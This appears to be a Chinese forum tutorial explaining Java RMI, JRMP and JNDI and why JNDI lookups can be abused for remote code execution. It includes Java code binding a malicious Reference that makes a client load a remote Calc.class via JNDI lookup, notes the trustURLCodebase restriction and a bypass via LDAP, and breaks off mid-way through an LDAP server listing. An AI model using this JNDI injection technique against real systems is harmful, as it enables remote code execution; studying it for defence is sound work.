0 前言

以往看到很多讲述RMI、JNDI、JRMP的文章,有部分文章都描述的并不是很清晰,看着通篇大论,觉得很详细,但看完之后却搞不懂,也解释不清,反正就是感觉自己还没搞懂,却又好像懂了点,很迷糊...

这篇文章,我想要的就是以最简短的内容和例子,去阐述RMI、JNDI、JRMP...,并讲讲为什么用InitialContext lookup一个JNDI的rmi、ldap服务会导致自身被反序列化RCE,为什么Registry bind暴露一个服务对象到RmiRegistry会导致Registry服务自身被反序列化RCE,为什么使用JRMP能互相对打等等。虽然我不能百分百保证我写的毫无错误,但是,我觉得你看了这篇文章之后,大概应该就懂了。

1 搞懂概念

1.1 RMI

以下是wiki的描述:

Java远程方法调用,即Java RMI(Java Remote Method Invocation)是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。

Java RMI极大地依赖于接口。在需要创建一个远程对象的时候,程序员通过传递一个接口来隐藏底层的实现细节。客户端得到的远程对象句柄正好与本地的根代码连接,由后者负责透过网络通信。这样一来,程序员只需关心如何通过自己的接口句柄发送消息。

根据wiki所说RMI全称为Remote Method Invocation,也就是远程方法调用,通俗点解释,就是跨越jvm,调用一个远程方法。众所周知,一般情况下java方法调用
指的是同一个jvm内方法的调用,而RMI与之恰恰相反。

例如我们使用浏览器对一个http协议实现的接口进行调用,这个接口调用过程我们可以称之为Interface Invocation,而RMI的概念与之非常相似,只不过RMI调用的是一个Java方法,而浏览器调用的是一个http接口。并且Java中封装了RMI的一系列定义。

到这里了,我这边做个简短通俗的总结:RMI是一种行为,这种行为指的是Java远程方法调用。

1.2 JRMP

以下是wiki的描述:

Java远程方法协议(英语:Java Remote Method Protocol,JRMP)是特定于Java技术的、用于查找和引用远程对象的协议。这是运行在Java远程方法调用(RMI)之下、TCP/IP之上的线路层协议(英语:Wire protocol)。

根据wiki所说JRMP全称为Java Remote Method Protocol,也就是Java远程方法协议,通俗点解释,它就是一个协议,一个在TCP/IP之上的线路层协议,一个RMI的过程,是用到JRMP这个协议去组织数据格式然后通过TCP进行传输,从而达到RMI,也就是远程方法调用。

还是前面所说的例子,我们在使用浏览器进行访问一个网络上的接口时,它和服务器之间的数据传输以及数据格式的组织,是用到基于TCP/IP之上的HTTP协议,只有通过这个HTTP协议,浏览器和服务端约定好的一个协议,它们之间才能正常的交流通讯。而JRMP也是一个与之相似的协议,只不过JRMP这个协议仅用于Java RMI中。

总结的来说:JRMP是一个协议,是用于Java RMI过程中的协议,只有使用这个协议,方法调用双方才能正常的进行数据交流。

1.3 JNDI

以下是wiki的描述:

Java命名和目录接口(Java Naming and Directory Interface,缩写JNDI),是Java的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。

根据wiki的描述,JNDI全称为Java Naming and Directory Interface,也就是Java命名和目录接口。既然是接口,那么就必定有其实现,而目前我们Java中使用最多的基本就是rmi和ldap的目录服务系统。而命名的意思就是,在一个目录系统,它实现了把一个服务名称和对象或命名引用相关联,在客户端,我们可以调用目录系统服务,并根据服务名称查询到相关联的对象或命名引用,然后返回给客户端。而目录的意思就是在命名的基础上,增加了属性的概念,我们可以想象一个文件目录中,每个文件和目录都会存在着一些属性,比如创建时间、读写执行权限等等,并且我们可以通过这些相关属性筛选出相应的文件和目录。而JNDI中的目录服务中的属性大概也与之相似,因此,我们就能在使用服务名称以外,通过一些关联属性查找到对应的对象。

总结的来说:JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,我们能通过名称等去找到相关的对象,并把它下载到客户端中来。

2 以攻击例子来阐述

前言已经说了“去阐述RMI、JNDI、JRMP...,并讲讲为什么用InitialContext lookup一个JNDI的rmi、ldap服务会导致自身被反序列化RCE,为什么Registry bind暴露一个服务对象到RmiRegistry会导致Registry服务自身被反序列化RCE,为什么使用JRMP能互相对打等等”

2.1 为什么用InitialContext lookup一个JNDI的rmi、ldap服务会导致自身被反序列化RCE

我们先看一个例子:

  • 程序A

具有接口类HelloService和实现类HelloServiceImpl

public interface HelloService extends Remote {
    String sayHello() throws RemoteException;
}
public class HelloServiceImpl extends UnicastRemoteObject implements HelloService {
    protected HelloServiceImpl() throws RemoteException {
    }

    @Override
    public String sayHello() throws RemoteException {
        System.out.println("hello!");
        return "hello!";
    }
}

启动了一个1099端口的Registry注册服务,并把HelloService接口的实现HelloServiceImpl暴露和注册到Registry注册服务

public class App {

  public static void main(String[] args) {
    try {
      Registry registry = LocateRegistry.createRegistry(1099);
      registry.bind("hello", new HelloServiceImpl());
    } catch (RemoteException e) {
      e.printStackTrace();
    } catch (AlreadyBoundException e) {
      e.printStackTrace();
    }
  }
}
  • 程序B

具有接口类HelloService

public interface HelloService extends Remote {
    String sayHello() throws RemoteException;
}

连接Registry并lookup查找到名为hello的对象

public class App {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        try {
            Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
            HelloService helloService = (HelloService) registry.lookup("hello");
            System.out.println(helloService.sayHello());

        } catch (NotBoundException e) {
            e.printStackTrace();
        }
}
  • 启动程序A后,再启动程序B

在上述操作后,我们会发现程序A输出了hello,并且程序B也输出了hello。到底怎么回事呢?

其实,在程序A启动的时候,程序A启动了一个RMI的注册中心,接着把HelloServiceImpl暴露并注册到RMI注册中心,其中存储着HelloServiceImpl的stub数据,包含有HelloServiceImpl所在服务器的ip和port。在程序B启动之后,通过连接RMI注册中心,并从其中根据名称查询到了对应的对象(JNDI),并把其数据下载到本地,然后RMI会根据stub存储的信息,也就是程序A中HelloServiceImpl实现暴露的ip和port,最后通过JRMP协议发起RMI请求,RMI后,程序A输出hello并通过JRMP协议把hello的序列化数据返回给程序B,程序B对其反序列化后输出。

根据上述所说的流程,我们可以发现,如果要发起一个反序列化攻击,那么早在程序B lookup的时候,就会从Registry注册中心下载数据,前面也说了“服务名称和对象或命名引用相关联”,我们就可以通过程序A bind注册一个命名引用到Registry注册中心,也就是Reference,它具有三个参数,className、factory、classFactoryLocation,当程序B lookup它并下载到本地后,会使用Reference的classFactoryLocation指定的地址去下载className指定class文件,接着加载并实例化,从而在程序B lookup的时候实现加载远程恶意class实现RCE。

我们再来看一个例子:

  • 程序A

创建了一个端口为1099的Registry注册中心,并注册了一个Reference到注册中心,该Reference引用了一个127.0.0.1中80端口http服务提供的Calc.class

public class App3
{
    public static void main( String[] args )
    {
        try {
            Registry registry = LocateRegistry.createRegistry(1099);
            Reference reference = new Reference("Calc","Calc","http://127.0.0.1:80/");
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            registry.bind("hello",referenceWrapper);
        } catch (RemoteException e) {
            e.printStackTrace();
        } catch (AlreadyBoundException e) {
            e.printStackTrace();
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }
}
  • 程序B
public class App4 {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        try {
            new InitialContext().lookup("rmi://127.0.0.1:1099/hello");
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }
}

程序启动后,发现报错:

javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.

因为在jdk8u121版本开始,Oracle通过默认设置系统变量com.sun.jndi.rmi.object.trustURLCodebase为false,将导致通过rmi的方式加载远程的字节码不会被信任,想要绕过有两种方式:

  1. 使用ldap服务取代rmi服务(在jdk8u191开始,引入JRP290,加入了反序列化类过滤):
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import java.net.InetAddress;
点击收藏 | 15 关注 | 3
登录 后跟帖